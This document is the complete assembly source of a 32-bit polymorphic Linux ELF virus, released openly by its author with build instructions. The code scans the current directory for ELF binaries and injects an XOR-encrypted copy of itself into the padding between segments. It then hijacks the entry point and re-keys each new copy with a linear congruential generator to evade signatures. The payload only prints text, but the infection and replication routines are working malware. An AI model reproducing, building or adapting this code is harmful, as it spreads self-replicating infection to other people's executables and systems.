;#################################### ;## A 32 bit Polymorphic ELF virus ## ;## By S01den ## ;#################################### ; .____ .__ ________ ________ __________ .___.__ ; | | |__| ____ \_____ \ \_____ \ \______ \_______ ____ __ __ __| _/| |__ ____ ____ ; | | | |/ \ _(__ < / ____/ | ___/\_ __ \/ _ \| | \/ __ | | | \ / _ \ / \ ; | |___| | | \/ \/ \ | | | | \( <_> ) | / /_/ | | Y ( <_> ) | \ ; |_______ \__|___| /______ /\_______ \ /\ |____| |__| \____/|____/\____ | |___| /\____/|___| / ; \/ \/ \/ \/ \/ \/ \/ \/ ; Infection through segment padding infection + polymorphism. Made with love by S01den ; Can only infect binary with an executable stack, because polymorphism routine operates on the stakc... ; The encryption is just a simple xor, with a random key generated with a Linear Congruential Generator (LCG) for every new infection. ;#################################### USEFUL LINKS #################################### ;# http://ivanlef0u.fr/repo/madchat/vxdevl/vxsrc/Linux/Linux.Cyneox/Linux.Cyneox.asm # ;# http://ivanlef0u.fr/repo/madchat/vxdevl/vxsrc/Linux/Linux.Binom/Linux.Binom.asm # ;# http://shell-storm.org/shellcode/files/syscalls.html # ;###################################################################################### ;nasm -f elf32 proudhon.asm && ld -m elf_i386 proudhon.o -o proudhon ;---------------------------------- CUT HERE ---------------------------------- ; thoses variables concern the virus body, not the decipher loop %define VIRSIZE 803 %define SIZE_DECIPHER 0x35 %define DELTA_CODE 0x2f1 %define RET_OEP VIRSIZE+SIZE_DECIPHER+3 ; variables for the linear congruential generator (to generate a random key) ; same as C++11's minstd_rand %define a_lcg 48271 %define modulus_lcg 0x7fffffff section .text global _start _start: mov ecx, VIRSIZE add ecx, 0x3f ; SIZE_DECIPHER+9 loop: call get_eip sub eax, 0xd mov esi, eax mov al, byte [esi+ecx-1] cmp ecx, 0x352 ; because the code to jump into the OEP have to be plain jae set_byte cmp ecx, SIZE_DECIPHER ; because this routine and get_eip have to be plain jbe set_byte xor al ,0x00 set_byte: mov byte [esp+ecx-1], al dec ecx jnz loop add esp, SIZE_DECIPHER jmp esp get_eip: mov eax, [esp] ret vx: add esp, VIRSIZE add esp, SIZE_DECIPHER xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx mov edx, VIRSIZE push edx ; push the len of the virus on the stack add esp, 0x20 getFiles: mov eax,183 ; pwd mov ebx,esp mov ecx,128 int 0x80 mov eax, 5 ; open mov ecx, 0 mov edx, 0 int 0x80 cmp eax, 0 jl exit mov ebx, eax ; getdents mov eax, 141 mov edx, 1024 push esp mov ecx, [esp] ; a little trick to save a spot on the stack int 0x80 mov eax, 6 ; close int 0x80 mov esp, ecx xor edi, edi xor ecx, ecx xor ebx, ebx mov esi, edx xor edx, edx parse_dir: ; a dump trick to get filenames from the previous getdents inc esp xor eax, eax cmp byte [esp], 0x00 jne not_zero cmp ecx, 2 ; if there are more than two successive printable bytes followed by a null byte, we consider the string a filename ja infect ; so we try to infect it. not_zero: mov bl, byte [esp] cmp bl, 0x20 ; check if the byte is printable jbe not_filename cmp bl, 0x7e jae not_filename inc ecx keep_parsing: inc edi cmp edi, 0x150 jae exit jmp parse_dir not_filename: xor ebx, ebx xor ecx, ecx jmp keep_parsing infect: mov ebx, ecx sub esp, ecx setFileName: mov eax, 5 ; open mov ebx, esp push ebp mov ebp, ecx mov ecx, 2 ; O_RW xor edx, edx int 0x80 cmp eax, 0 jl restore_esp push eax push eax stat: ; to get the length of the file to infect mov eax,106 ; SYS_STAT sub esp,64 mov ecx,esp int 0x80 mov edx,[esp+20] ; edx = len of file to infect add esp,64 pop ebx push edx add esp, 0x400 mov eax, 3 ; read mov ecx, esp ; the stack now contains the whole content of the file we try to infect int 0x80 cmp eax, 0 jl parse_dir parse_file: push edx push edx push edx add esp, 0xc get_magic: cmp dword [esp], 0x464c457f ; check if the file is an ELF je get_signature sub esp, 0x3f4 call close call clean jmp parse_dir get_signature: xor ecx, ecx mov cx, word [esp+0x18] ; get e_phnum "Contains the number of entries in the program header table. " mov eax, dword [esp+0x1C] ; get e_phoff "Points to the start of the program header table." (which contains the segments infos) ; for segment padding infection, we look at the space between the text and the data segment mov ecx,[esp+eax+0x20*3+8] ; get data vaddr mov ebx,[esp+eax+0x20*2+16] ; get text size mov eax,[esp+eax+0x20*2+8] ; get text vaddr add ebx, eax ; ebx = text.vaddr+text.filesz sub ecx,ebx ; data.p_vaddr - (text.p_filesz + text.p_vaddr) mov eax,VIRSIZE cmp eax, ecx ja no_room mov eax,[esp+0x18] ;get entry point push eax add ebx, 15 mov eax, dword [esp+0x1C+4] mov eax,[esp+eax+0x20*2+8+4] mov [esp+0x18+4], ebx ; write the new EP (new entrypoint = text.p_filesz + text.p_vaddr) sub ebx, eax ; get the offset of the new EP mov eax, ebx push eax add esp, eax mov esi, eax cmp dword [esp+7], 0x323b900 ; check if the bytes at the entry point are the same as in every file infected (0x323b900 = mov ecx,VIRSIZE). It's kind of a signature. je already_infected ; we put on the stack the code to return to the OEP mov byte [esp], 0xbd ; - sub esp, eax ; | - Get the OEP from the stack and put it into ECX pop ebx ; | | pop ecx ; | | push ebx ; | | add esp, eax ; | | sub esp, 4 ; | - mov [esp+1], ecx ; - mov ebp, OEP mov word [esp+5],0xe5ff ; jmp ebp writeVirus: ;####### insert the code to restore the OEP ####### xor edx, edx mov ebx, 3 mov ecx, eax mov eax, RET_OEP add ecx, eax mov eax, 19 ; lseek int 0x80 mov ecx, esp mov eax, 4 ; write mov edx, 7 int 0x80 ;####### write the new EP ####### xor edx, edx mov ecx, 0x18 mov eax, 19 int 0x80 add esp, 8 sub esp, esi mov ecx, esp add ecx, 0x18 mov edx, 4 mov eax, 4 int 0x80 ;####### write the virus ####### mov ebx, 3 xor edx, edx mov ecx, esi mov eax, 19 int 0x80 call get_eip mov bl, byte [eax-0x1e2] ; get the current key push eax xor eax, eax mov al, bl ; Linear Congruential Generator (I use this algorithm because it's an easy way to generate entropy) lcg: inc al inc al mov ecx, a_lcg mul eax xor edx, edx mov ebx, modulus_lcg div ebx pop eax mov byte [eax-0x1e2], dl ; edx now contains the remainder of the operation (X_n+1 = (aX_n+c) % modulus), so edx is the new key call clean get_decipher: ; get the decipher routine (which contains the new key) call get_eip sub eax, 0x236 mov cl, byte [eax+ebx] mov byte [esp+ebx], cl inc ebx cmp ebx, SIZE_DECIPHER jne get_decipher call clean jmp getVirus write_vx_code: call clean mov bl, byte [esp+0x24] ; get the key mov edx, VIRSIZE encrypt: ; encrypt the virus body with the new key mov cl, byte [esp+SIZE_DECIPHER+eax] xor ecx, ebx mov byte [esp+SIZE_DECIPHER+eax], cl inc eax cmp eax, edx jne encrypt mov ecx, esp mov ebx, 3 mov edx, VIRSIZE add edx, SIZE_DECIPHER mov eax, 4 int 0x80 sub eax, SIZE_DECIPHER cmp eax, VIRSIZE jb exit ok_write: sub esp, 0x3f0 call close call clean jmp parse_dir no_room: sub esp, 0x3ee ; to go back into the getdents content call close call clean jmp parse_dir already_infected: sub esp, 0xa55 ; to go back into the getdents content call close call clean jmp parse_dir exit: call close call payload call clean call get_eip add eax, 0x7a ; go to the restore OEP code jmp eax clean: xor ecx, ecx xor ebx, ebx xor eax, eax xor edx, edx ret close: mov eax, 6 int 0x80 ret payload: ; just print a "hey" push 0 push 0x796568 mov ecx, esp mov eax, 4 mov ebx, 1 mov edx, 4 int 0x80 pop ecx pop edx call clean ret restore_esp: add esp, ebp pop ebp jmp parse_dir getVirus: ; a simple method I found which permits to get the whole virus code thanks to the current EIP call get_eip sub eax, DELTA_CODE mov cl, byte [eax+ebx] mov byte [esp+SIZE_DECIPHER+ebx], cl inc ebx cmp ebx, VIRSIZE jne getVirus call clean jmp write_vx_code ;--------------------------------------------------------------------------------------------------------------------------